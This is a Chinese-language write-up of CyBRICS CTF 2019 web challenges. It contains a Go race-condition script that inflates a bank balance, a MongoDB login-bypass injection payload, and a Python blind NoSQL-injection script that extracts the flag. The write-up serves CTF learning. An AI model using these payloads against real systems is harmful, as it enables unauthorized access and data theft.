CyBRICS CTF 2019 WEB WriteUp
2019-07-29 本文已影响40人
_LuckyCat_
Warmup
访问时明显有个跳转,用burp拦截一下
image.png
Bitkoff Bank
发现btc/usd互转的时候会给usd加钱,就写了个go程序来跑
package main
import (
"fmt"
"io/ioutil"
"net/http"
"regexp"
"strings"
)
var url = "http://95.179.148.72:8083/index.php"
func main() {
go btc2usd("0.00009", true)
for j:=0; j < 100; j++ {
usd2btc("0.9")
_, b := getmoney()
btc2usd(b, false)
fmt.Println(getmoney())
}
_, b := getmoney()
btc2usd(b, false)
fmt.Println(getmoney())
fmt.Println("done")
}
func getmoney() (string, string) {
client := &http.Client{}
req,_ := http.NewRequest("POST",url,strings.NewReader(""))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Cookie","name=catcat; password=catcat")
resp2, _ := client.Do(req)
body, _ := ioutil.ReadAll(resp2.Body)
r := regexp.MustCompile("Your USD: <b>(.*)</b><br>Your")
usd := r.FindStringSubmatch(string(body))[1]
r = regexp.MustCompile(">Your BTC: <b>(.*)</b><br>")
btc := r.FindStringSubmatch(string(body))[1]
return usd, btc
}
func btc2usd(amount string, l bool) {
client := &http.Client{}
req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=btc&to_currency=usd&amount="+amount))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Cookie","name=catcat; password=catcat")
if l == true {
for {
client.Do(req)
}
} else {
client.Do(req)
}
}
func usd2btc(amount string) {
client := &http.Client{}
req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=usd&to_currency=btc&amount="+amount))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("Cookie","name=catcat; password=catcat")
client.Do(req)
}
这样大改能0.002/次增加usd
Caesaref
题目出了非预期,应该是cookie设置直接用header加了,登进去输入vps地址就能拿到session,然后换上session后show flag一下
image.png
NopeSQL
.git虽然404但加了个/
image.png
所以是骗人的404,用githack拉下来
<?php
require_once __DIR__ . "/vendor/autoload.php";
function auth($username, $password) {
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
$raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
$document = $collection->findOne(json_decode($raw_query));
if (isset($document) && isset($document->password)) {
return true;
}
return false;
}
$user = false;
if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
$user = auth($_COOKIE['username'], $_COOKIE['password']);
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$user = auth($_POST['username'], $_POST['password']);
if ($user) {
setcookie('username', $_POST['username']);
setcookie('password', $_POST['password']);
}
}
?>
<?php if ($user == true): ?>
Welcome!
<div>
Group most common news by
<a href="?filter=$category">category</a> |
<a href="?filter=$public">publicity</a><br>
</div>
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
<?php if (isset($filter)): ?>
<?php
foreach ($cursor as $category) {
printf("%s has %d news<br>", $category['_id'], $category['count']);
}
?>
<?php endif; ?>
<?php else: ?>
<?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
Invalid username or password
<?php endif; ?>
<form action='/' method="POST">
<input type="text" name="username">
<input type="password" name="password">
<input type="submit">
</form>
<h2>News</h2>
<?php
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$cursor = $collection->find(['public' => 1]);
foreach ($cursor as $news) {
printf("%s<br>", $news['title']);
}
?>
<?php endif; ?>
mongodb注入,之前没碰过mongodb,极速学习...
首先auth
函数中直接采取拼接字符串的方式构造json,可以用"
来进行逃逸
username: admin
password: ","password":{"$ne":"a"},"username":"admin
这样就能查找用户名为admin
and 密码不是a
的记录,肯定有的,所以顺利登进去
这里的逻辑对应的是
<?php
$filter = $_GET['filter'];
$collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
$pipeline = [
['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
['$sort' => ['count' => -1]],
['$limit' => 5],
];
$filters = [
['$project' => ['category' => $filter]]
];
$cursor = $collection->aggregate(array_merge($filters, $pipeline));
?>
$filters
猜测是和group by
差不多的作用,通过fuzz,发现category
还能是$_id
,$text
,$title
但是因为['$limit' => 5]
,所以不能直接用$text
把flag内容打出来
于是猜想filter[$ne] = xxx
行不行,发现直接500了,为了知道报错是什么,本地搭了个环境
发现是需要两个参数,于是构造filter[$ne][0]=$public&filter[$ne][1]=1
发现没报错了,但是怎么都没变化,换个字段试试,比如
category
本地所有的
category
image.png
image.png
image.png
['$project' => ['category' => [$ne => ["category", "asdasd"]]]]
可以,这不就可以用来盲注吗
盲猜数组的构造
于是写了个脚本
import requests
url = "http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]="
cookie = {
"username": "admin",
"password": '","password":{"$ne":"a"},"username":"admin'
}
res = ""
for j in range(50):
for i in range(33,127):
s = chr(i)
print s
r = requests.get(url+res+s, cookies=cookie)
# print r.text
if "1 has" not in r.text:
res += chr(i-1)
print "----->",res
break
image.png
最后一个|
改成}
就好了